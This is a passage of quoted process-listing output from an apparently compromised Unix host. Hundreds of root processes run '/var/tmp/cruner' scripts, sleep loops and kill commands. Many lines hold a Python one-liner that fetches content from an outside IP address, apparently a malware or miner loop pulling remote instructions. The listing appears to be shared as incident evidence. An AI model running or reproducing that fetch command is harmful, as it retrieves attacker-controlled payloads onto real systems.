15:46:06 ? 0:00 sleep 60 > root 18001 15924 0 - ? 0:00 <defunct> > root 23213 20066 0 15:45:52 ? 0:00 xargs kill -9 > root 17313 17287 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6773 15291 0 15:45:35 ? 0:00 bash -sh > root 27470 1 0 03:06:12 ? 0:00 sh /var/tmp/cruner > root 5775 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26684 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8167 28219 0 15:46:07 ? 0:00 xargs kill -9 > root 29784 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13987 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1637 5174 0 15:46:06 ? 0:00 bash -sh > root 19372 5450 0 15:45:46 ? 0:00 xargs kill -9 > root 1434 24472 0 15:45:19 ? 0:00 sleep 60 > root 27417 21489 0 15:44:59 ? 0:00 bash -sh > root 1441 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13782 16920 0 15:46:08 ? 0:00 sh /tmp/cruner > root 13106 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9047 17306 0 15:45:15 ? 0:00 bash -sh > root 23044 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23742 8426 0 - ? 0:00 <defunct> > root 689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27820 14475 0 15:45:34 ? 0:00 sleep 60 > root 966 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24139 13497 0 15:45:43 ? 0:00 sleep 60 > root 6670 29197 0 15:42:31 ? 0:00 bash -sh > root 22195 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2387 21033 0 15:46:02 ? 0:00 sleep 60 > root 3207 20697 0 - ? 0:00 <defunct> > root 11251 9928 0 15:45:36 ? 0:00 bash -sh > root 21537 20494 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 18164 15147 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25854 13824 0 15:45:30 ? 0:00 bash -sh > root 4984 9239 0 15:44:03 ? 0:00 bash -sh > root 1110 18890 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11502 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2893 24008 0 - ? 0:00 <defunct> > root 5160 4928 0 - ? 0:00 <defunct> > root 190 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11157 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 360 29276 0 15:45:18 ? 0:00 sleep 60 > root 6093 17922 0 15:45:58 ? 0:00 sleep 60 > root 24996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7717 11016 0 - ? 0:00 <defunct> > root 568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22426 15364 0 - ? 0:00 <defunct> > root 27201 5283 0 15:43:35 ? 0:00 bash -sh > root 21543 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14524 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7210 14147 0 15:45:09 ? 0:00 bash -sh > root 12513 2230 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20162 9874 0 15:46:09 ? 0:00 sleep 60 > root 14150 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22897 4648 0 15:45:02 ? 0:00 bash -sh > root 3518 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24068 7424 0 15:44:58 ? 0:00 bash -sh > root 14801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3261 2558 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 14137 11753 0 15:46:08 ? 0:00 bash -sh > root 24725 2388 0 15:45:17 ? 0:00 sleep 60 > root 4860 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16619 2151 0 15:45:29 ? 0:00 sleep 60 > root 5559 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 527 26811 0 15:45:48 ? 0:00 sleep 60 > root 14082 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17673 21056 0 - ? 0:00 <defunct> > root 22968 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21928 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13071 6802 0 - ? 0:00 <defunct> > root 12792 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 853 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14138 27206 0 15:46:08 ? 0:00 bash -sh > root 24117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12660 10626 0 - ? 0:00 <defunct> > root 3796 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4164 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28781 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11186 8296 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29741 27934 0 15:45:34 ? 0:00 sleep 60 > root 10956 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20126 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21666 10649 0 - ? 0:00 <defunct> > root 6823 16817 0 15:45:58 ? 0:00 bash -sh > root 18569 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25130 1 0 20:03:01 ? 0:00 sh /var/tmp/cruner > root 27809 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18384 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10760 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25412 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28604 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25588 20153 0 15:45:13 ? 0:00 bash -sh > root 3605 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14392 28742 0 15:45:32 ? 0:00 sleep 60 > root 1822 1768 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7981 28119 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 12460 5059 0 15:45:21 ? 0:00 sleep 60 > root 17327 22142 0 15:45:56 ? 0:00 bash -sh > root 2317 277 0 15:45:08 ? 0:00 bash -sh > root 7654 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22298 6142 0 15:45:42 ? 0:00 bash -sh > root 24846 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11285 11274 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4577 24015 0 15:46:06 ? 0:00 sleep 60 > root 27303 22664 0 15:43:16 ? 0:00 bash -sh > root 23986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2063 24708 0 15:45:48 ? 0:00 sleep 60 > root 3419 4279 0 15:46:06 ? 0:00 sleep 60 > root 15779 15086 0 15:46:00 ? 0:00 sh /tmp/cruner > root 10641 21705 0 - ? 0:00 <defunct> > root 28474 18672 0 - ? 0:00 <defunct> > root 21023 6441 0 15:45:17 ? 0:00 bash -sh > root 11125 6651 0 15:46:07 ? 0:00 sleep 60 > root 17402 6562 0 - ? 0:00 <defunct> > root 21324 4613 0 15:45:12 ? 0:00 sleep 60 > root 12810 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17372 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17127 29165 0 15:45:12 ? 0:00 sleep 60 > root 27452 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25641 29398 0 15:45:39 ? 0:00 bash -sh > root 14815 5900 0 - ? 0:00 <defunct> > root 24319 24318 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16080 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20412 8424 0 - ? 0:00 <defunct> > root 11574 27426 0 15:43:51 ? 0:00 bash -sh > root 11528 19493 0 15:45:59 ? 0:00 bash -sh > root 3761 22119 0 - ? 0:00 <defunct> > root 4352 27958 0 15:46:06 ? 0:00 sleep 60 > root 13887 5064 0 - ? 0:00 <defunct> > root 5752 16267 0 - ? 0:00 <defunct> > root 17318 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5151 4645 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20001 7788 0 15:45:12 ? 0:00 sleep 60 > root 6600 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15354 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6322 13985 0 15:45:58 ? 0:00 sleep 60 > root 28938 21244 0 - ? 0:00 <defunct> > root 1125 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8789 8772 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24875 26998 0 - ? 0:00 <defunct> > root 16159 16155 0 - ? 0:00 <defunct> > root 1181 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11535 4782 0 15:42:41 ? 0:00 bash -sh > root 5900 18061 0 15:44:23 ? 0:00 bash -sh > root 4855 10925 0 - ? 0:00 <defunct> > root 12052 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20223 9646 0 - ? 0:00 <defunct> > root 25863 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9018 529 0 15:45:59 ? 0:00 sleep 60 > root 25304 7279 0 - ? 0:00 <defunct> > root 11464 25745 0 15:45:32 ? 0:00 bash -sh > root 18607 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11388 24779 0 - ? 0:00 <defunct> > root 29538 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1553 23188 0 15:44:11 ? 0:00 bash -sh > root 9596 13026 0 - ? 0:00 <defunct> > root 28105 27029 0 15:45:18 ? 0:00 sleep 60 > root 6357 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7248 18970 0 15:45:36 ? 0:00 sleep 60 > root 5027 5018 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 148 51 0 - ? 0:00 <defunct> > root 19915 14821 0 15:44:53 ? 0:00 bash -sh > root 11428 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14536 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20327 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28833 7223 0 15:45:34 ? 0:00 sleep 60 > root 29548 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1278 23576 0 - ? 0:00 <defunct> > root 26995 11942 0 15:46:02 ? 0:00 bash -sh > root 7873 20394 0 - ? 0:00 <defunct> > root 6561 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10897 27240 0 - ? 0:00 <defunct> > root 24987 24836 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20438 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24907 14379 0 15:43:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24337 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24793 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 72 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25654 24968 0 15:45:17 ? 0:00 bash -sh > root 11640 5732 0 15:45:59 ? 0:00 bash -sh > root 11148 17571 0 15:45:59 ? 0:00 bash -sh > root 11679 13130 0 15:43:10 ? 0:00 bash -sh > root 21054 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9573 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29711 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2242 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1317 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24069 13671 0 15:44:58 ? 0:00 bash -sh > root 23518 24980 0 15:46:10 ? 0:00 bash -sh > root 19697 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7734 5906 0 - ? 0:00 <defunct> > root 8008 10324 0 - ? 0:00 <defunct> > root 3273 8376 0 15:45:58 ? 0:00 sleep 60 > root 4233 20812 0 - ? 0:00 <defunct> > root 3860 19847 0 15:45:35 ? 0:00 sleep 60 > root 10178 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22753 24002 0 15:45:52 ? 0:00 bash -sh > root 929 15654 0 15:45:44 ? 0:00 bash -sh > root 21609 7195 0 15:46:09 ? 0:00 bash -sh > root 24289 21921 0 15:45:43 ? 0:00 sleep 60 > root 25195 24611 0 - ? 0:00 <defunct> > root 10811 12095 0 15:46:07 ? 0:00 sleep 60 > root 8398 16447 0 15:45:40 ? 0:00 bash -sh > root 12812 16359 0 15:46:08 ? 0:00 xargs kill -9 > root 20684 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22584 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21130 28893 0 - ? 0:00 <defunct> > root 7697 29992 0 15:45:25 ? 0:00 sleep 60 > root 24052 1069 0 15:46:01 ? 0:00 bash -sh > root 13240 28016 0 15:45:55 ? 0:00 sleep 60 > root 17937 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11845 25411 0 15:46:07 ? 0:00 sed -e s/\/.*//g > root 1330 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10274 21015 0 - ? 0:00 <defunct> > root 16577 15633 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12534 1667 0 15:45:32 ? 0:00 sleep 60 > root 5289 3205 0 - ? 0:00 <defunct> > root 21469 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15109 19510 0 - ? 0:00 <defunct> > root 13583 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16437 2024 0 15:45:26 ? 0:00 sh /tmp/cruner > root 7955 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6230 3497 0 - ? 0:00 <defunct> > root 4252 23140 0 15:45:54 ? 0:00 sleep 60 > root 16038 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4399 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6177 19226 0 15:46:03 ? 0:00 bash -sh > root 13087 12280 0 15:44:15 ? 0:00 bash -sh > root 9242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9922 4010 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 717 17167 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27330 24751 0 15:43:35 ? 0:00 bash -sh > root 4439 4764 0 15:44:02 ? 0:00 bash -sh > root 1343 29274 0 15:43:30 ? 0:00 bash -sh > root 23551 24636 0 15:46:01 ? 0:00 sleep 60 > root 4037 26684 0 15:45:58 ? 0:00 sleep 60 > root 1140 27596 0 15:45:34 ? 0:00 sleep 60 > root 16713 24280 0 15:43:33 ? 0:00 bash -sh > root 13805 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9370 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27833 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3383 6369 0 15:45:19 ? 0:00 sleep 60 > root 8109 3350 0 15:45:54 ? 0:00 sleep 60 > root 22661 3156 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13797 20938 0 15:45:59 ? 0:00 sleep 60 > root 4330 19971 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 19277 1 0 21:41:15 ? 0:00 sh /tmp/cruner > root 7237 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13781 5612 0 15:44:16 ? 0:00 bash -sh > root 19139 3821 0 - ? 0:00 <defunct> > root 10123 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12198 16951 0 - ? 0:00 <defunct> > root 17924 24045 0 15:46:00 ? 0:00 sh /tmp/cruner > root 29727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7598 6043 0 15:43:43 ? 0:00 bash -sh > root 5394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8964 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1671 16926 0 15:46:06 ? 0:00 bash -sh > root 14724 14722 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13858 27694 0 - ? 0:00 <defunct> > root 24963 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7079 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27723 26415 0 15:44:21 ? 0:00 bash -sh > root 13122 8482 0 - ? 0:00 <defunct> > root 163 5118 0 - ? 0:00 <defunct> > root 15551 4111 0 15:46:08 ? 0:00 bash -sh > root 15054 25723 0 15:46:00 ? 0:00 sh /tmp/cruner > root 9761 29441 0 15:45:10 ? 0:00 bash -sh > root 20271 15441 0 15:45:52 ? 0:00 bash -sh > root 1750 4091 0 15:45:35 ? 0:00 xargs kill -9 > root 28764 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12712 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16882 16929 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15019 24887 0 15:45:46 ? 0:00 bash -sh > root 25121 638 0 15:45:47 ? 0:00 sleep 60 > root 29654 14616 0 15:45:34 ? 0:00 sleep 60 > root 18888 17638 0 15:46:09 ? 0:00 sleep 60 > root 20068 23593 0 15:44:53 ? 0:00 bash -sh > root 5556 6625 0 15:45:58 ? 0:00 sleep 60 > root 29609 14803 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 9455 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20666 2967 0 15:43:13 ? 0:00 bash -sh > root 22695 16409 0 15:45:17 ? 0:00 sleep 60 > root 11474 3634 0 15:45:59 ? 0:00 bash -sh > root 10189 11926 0 - ? 0:00 <defunct> > root 14242 19944 0 15:45:16 ? 0:00 sleep 60 > root 10864 9664 0 15:45:55 ? 0:00 sleep 60 > root 17464 2960 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 15177 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9938 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29848 23326 0 - ? 0:00 <defunct> > root 28443 23203 0 - ? 0:00 <defunct> > root 11958 18929 0 - ? 0:00 <defunct> > root 14209 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18391 6227 0 15:46:04 ? 0:00 sleep 60 > root 24457 17612 0 - ? 0:00 <defunct> > root 24729 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11060 10757 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3053 9588 0 - ? 0:00 <defunct> > root 3272 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17520 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14327 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2468 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1479 9050 0 - ? 0:00 <defunct> > root 27896 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26334 8769 0 15:45:47 ? 0:00 sleep 60 > root 25719 23886 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29272 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19453 16789 0 - ? 0:00 <defunct> > root 27358 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11335 12410 0 15:45:45 ? 0:00 sleep 60 > root 24165 4803 0 15:44:54 ? 0:00 bash -sh > root 10386 26616 0 - ? 0:00 <defunct> > root 7719 23262 0 - ? 0:00 <defunct> > root 5185 19677 0 - ? 0:00 <defunct> > root 18139 11278 0 15:46:00 ? 0:00 bash -sh > root 13109 571 0 - ? 0:00 <defunct> > root 24920 23835 0 15:43:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2712 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12954 6442 0 15:46:08 ? 0:00 bash -sh > root 14518 27644 0 - ? 0:00 <defunct> > root 26200 29464 0 15:42:59 ? 0:00 bash -sh > root 18579 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11066 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20904 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9068 20632 0 - ? 0:00 <defunct> > root 9175 2362 0 - ? 0:00 <defunct> > root 9304 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8863 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3813 23615 0 - ? 0:00 <defunct> > root 15971 5910 0 - ? 0:00 <defunct> > root 27094 18307 0 - ? 0:00 <defunct> > root 19648 4492 0 - ? 0:00 <defunct> > root 18774 21634 0 - ? 0:00 <defunct> > root 22819 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14340 1285 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 19436 23326 0 - ? 0:00 <defunct> > root 22529 8548 0 15:45:57 ? 0:00 sleep 60 > root 29404 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13488 8089 0 15:45:29 ? 0:00 sleep 60 > root 8719 27833 0 15:45:54 ? 0:00 bash -sh > root 27781 10914 0 15:45:18 ? 0:00 sleep 60 > root 14927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8554 6346 0 15:45:45 ? 0:00 bash -sh > root 19894 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13725 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22991 22977 0 15:45:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14268 12207 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27286 828 0 15:46:02 ? 0:00 bash -sh > root 25718 18967 0 15:45:07 ? 0:00 bash -sh > root 7225 29517 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27964 17624 0 15:45:34 ? 0:00 sleep 60 > root 14824 14817 0 15:43:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6013 20602 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 28141 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7635 8933 0 15:45:20 ? 0:00 sleep 60 > root 13354 13386 0 15:45:11 ? 0:00 sleep 60 > root 29244 7455 0 15:45:34 ? 0:00 sleep 60 > root 4739 892 0 15:45:49 ? 0:00 xargs kill -9 > root 22162 9658 0 - ? 0:00 <defunct> > root 1932 1832 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5520 11299 0 - ? 0:00 <defunct> > root 11268 15500 0 15:46:07 ? 0:00 bash -sh > root 9035 20830 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 4036 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25430 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5891 18666 0 15:46:06 ? 0:00 sleep 60 > root 19082 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10421 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6232 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11825 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19451 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 15353 2465 0 15:44:52 ? 0:00 bash -sh > root 20367 19681 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 12975 18915 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 16440 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7063 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17964 15236 0 15:45:42 ? 0:00 sleep 60 > root 21985 29554 0 15:45:33 ? 0:00 sleep 60 > root 24057 8416 0 15:45:26 ? 0:00 sleep 60 > root 6752 5217 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24867 18682 0 15:45:23 ? 0:00 sleep 60 > root 24512 6589 0 - ? 0:00 <defunct> > root 1811 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7159 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13786 13770 0 15:44:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21337 21350 0 15:45:12 ? 0:00 bash -sh > root 14454 27530 0 15:45:25 ? 0:00 sleep 60 > root 1701 26884 0 15:45:44 ? 0:00 bash -sh > root 29859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28201 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12244 20194 0 - ? 0:00 <defunct> > root 23323 14093 0 15:46:09 ? 0:00 bash -sh > root 11254 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 297 294 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23177 20558 0 15:45:47 ? 0:00 sh /tmp/cruner > root 24158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21280 22524 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 23722 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26089 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19626 1635 0 - ? 0:00 <defunct> > root 8195 23827 0 15:45:20 ? 0:00 sleep 60 > root 12611 2237 0 15:46:08 ? 0:00 bash -sh > root 21094 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20256 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24110 10418 0 15:45:57 ? 0:00 sleep 60 > root 19654 4263 0 - ? 0:00 <defunct> > root 11818 21493 0 15:45:59 ? 0:00 bash -sh > root 27091 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15214 24514 0 - ? 0:00 <defunct> > root 11659 14057 0 15:46:07 ? 0:00 bash -sh > root 27101 18637 0 - ? 0:00 <defunct> > root 27401 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20624 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10907 1507 0 15:46:07 ? 0:00 sh /tmp/cruner > root 11324 28496 0 15:44:04 ? 0:00 bash -sh > root 17358 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29423 28602 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 21685 5411 0 15:45:33 ? 0:00 sleep 60 > root 15649 15591 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17368 25585 0 - ? 0:00 <defunct> > root 29144 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7875 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29222 29740 0 15:45:34 ? 0:00 sleep 60 > root 21667 23429 0 15:44:53 ? 0:00 bash -sh > root 25649 2880 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29989 1 0 22:47:34 ? 0:00 sh /var/tmp/cruner > root 2760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11874 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12014 29284 0 15:46:07 ? 0:00 sleep 60 > root 394 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27748 2319 0 15:43:35 ? 0:00 bash -sh > root 17764 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12408 4960 0 15:45:11 ? 0:00 sleep 60 > root 8891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12213 10644 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1344 28641 0 15:41:34 ? 0:00 bash -sh > root 22438 2512 0 15:45:17 ? 0:00 sleep 60 > root 19373 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27797 1568 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 1398 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16279 7350 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14915 4728 0 15:45:51 ? 0:00 sleep 60 > root 13739 29380 0 15:45:25 ? 0:00 bash -sh > root 26215 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4368 28180 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8200 1917 0 15:46:07 ? 0:00 python -c import urllib2 as 